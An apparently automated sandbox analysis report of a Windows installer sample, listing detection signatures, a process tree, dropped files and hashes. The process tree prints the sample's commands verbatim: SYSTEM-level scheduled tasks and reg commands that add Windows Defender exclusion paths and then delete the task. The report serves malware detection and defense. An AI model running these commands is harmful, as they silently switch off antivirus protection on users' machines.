Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    25/08/2026, 09:09

General

  • Target
    inste_a3.1.3.10.exe
  • Size 37.7MB
  • Sample260825-k4x9bage62
  • SHA256 4fed095a5dad5c887e0feb2502844891a72acfca286f3fc602414a5a9f8f6697
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 8 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inste_a3.1.3.10.exe
    "C:\Users\Admin\AppData\Local\Temp\inste_a3.1.3.10.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4772
  • C:\Users\Public\vBylCz\srhkVW.exe
    C:\Users\Public\vBylCz\srhkVW.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5144
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vBylCz\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5288
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vBylCz\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:60
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:444
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3344
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1896
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:436
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4912
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:6048
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4292
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5740
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2508
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5972
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5732
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5792
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4256
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4940
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:2380
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1764
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3048
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5224
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vBylCz" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5220
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\vBylCz" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:1872
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:6096
                        • C:\Users\Public\vBylCz\srhkVW.exe
                          "C:\Users\Public\vBylCz\srhkVW.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Adds Run key to start application
                          • Drops file in System32 directory
                          PID:3756
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5380
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5660
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2736
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1228

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\vBylCz\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 c27c79f1e86ed2b118beaae7670fcd003cff98f9fe6bef09932f7f9aa5d6041c
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\vBylCz\adoresd.dat
                              • Size 4.7MB
                              • SHA256 f2fc37e4e2ebe9e51e8b85431a6c15e861ea71da7baea995656bf666e67fec53
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\vBylCz\msadox.tb
                              • Size 8KB
                              • SHA256 73ad90d764932752ea363d258332e398401b921f0576f818a9752be86e486977
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              srhkVW.exe

                              • Path C:\Users\Public\vBylCz\srhkVW.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              SiPolicy.p7b

                              • Path C:\Windows\System32\CodeIntegrity\SiPolicy.p7b
                              • Size 24KB
                              • SHA256 b3f17065ed63b17ffef175f2979907d8eef69a76ba4cbd1d9785035a0b1f0a10
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3756-594-0x0000018E86EB0000-0x0000018E87737000-memory.dmp

                              memory/3756-592-0x0000018E86EB0000-0x0000018E87737000-memory.dmp

                              memory/3756-605-0x0000018E86EB0000-0x0000018E87737000-memory.dmp

                              memory/3756-607-0x0000018E86410000-0x0000018E8649A000-memory.dmp

                              memory/3756-608-0x0000018E86410000-0x0000018E8649A000-memory.dmp

                              memory/3756-581-0x0000018E86EB0000-0x0000018E87737000-memory.dmp

                              memory/3756-591-0x0000018E86EB0000-0x0000018E87737000-memory.dmp

                              memory/3756-609-0x0000018E86410000-0x0000018E8649A000-memory.dmp

                              memory/3756-615-0x0000018E86EB0000-0x0000018E87737000-memory.dmp

                              memory/3756-616-0x0000018E86EB0000-0x0000018E87737000-memory.dmp

                              memory/3756-587-0x0000018E86EB0000-0x0000018E87737000-memory.dmp

                              memory/3756-610-0x0000018E86410000-0x0000018E8649A000-memory.dmp

                              memory/3756-586-0x00007FFDF3100000-0x00007FFDF3102000-memory.dmp

                              memory/3756-599-0x0000018E86EB0000-0x0000018E87737000-memory.dmp

                              memory/3756-578-0x00007FFDD4F60000-0x00007FFDD547E000-memory.dmp

                              memory/3756-593-0x0000018E86EB0000-0x0000018E87737000-memory.dmp

                              memory/4772-0-0x00000000001F0000-0x00000000001FE000-memory.dmp

                              memory/4772-1-0x0000000000440000-0x000000000044C000-memory.dmp

                              memory/4772-524-0x00007FFDE36A0000-0x00007FFDE36B0000-memory.dmp

                              memory/4772-503-0x00007FFDE36A0000-0x00007FFDE36B0000-memory.dmp

                              memory/4772-523-0x00000000001F0000-0x00000000001FE000-memory.dmp

                              memory/5144-544-0x000001D71BA10000-0x000001D71C297000-memory.dmp

                              memory/5144-563-0x000001D71BA10000-0x000001D71C297000-memory.dmp

                              memory/5144-564-0x000001D71BA10000-0x000001D71C297000-memory.dmp

                              memory/5144-555-0x000001D71C5E0000-0x000001D71C66A000-memory.dmp

                              memory/5144-556-0x000001D71C5E0000-0x000001D71C66A000-memory.dmp

                              memory/5144-557-0x000001D71C5E0000-0x000001D71C66A000-memory.dmp

                              memory/5144-558-0x000001D71C5E0000-0x000001D71C66A000-memory.dmp

                              memory/5144-549-0x000001D71BA10000-0x000001D71C297000-memory.dmp

                              memory/5144-596-0x000001D71BA10000-0x000001D71C297000-memory.dmp

                              memory/5144-554-0x000001D71AF60000-0x000001D71AFAE000-memory.dmp

                              memory/5144-543-0x000001D71BA10000-0x000001D71C297000-memory.dmp

                              memory/5144-545-0x000001D71BA10000-0x000001D71C297000-memory.dmp

                              memory/5144-537-0x00007FFDF3100000-0x00007FFDF3102000-memory.dmp

                              memory/5144-542-0x000001D71BA10000-0x000001D71C297000-memory.dmp

                              memory/5144-538-0x000001D71BA10000-0x000001D71C297000-memory.dmp

                              memory/5144-535-0x000001D71BA10000-0x000001D71C297000-memory.dmp

                              memory/5144-530-0x00007FFDD4F60000-0x00007FFDD547E000-memory.dmp

                              memory/5144-529-0x00007FFDF30F0000-0x00007FFDF30F2000-memory.dmp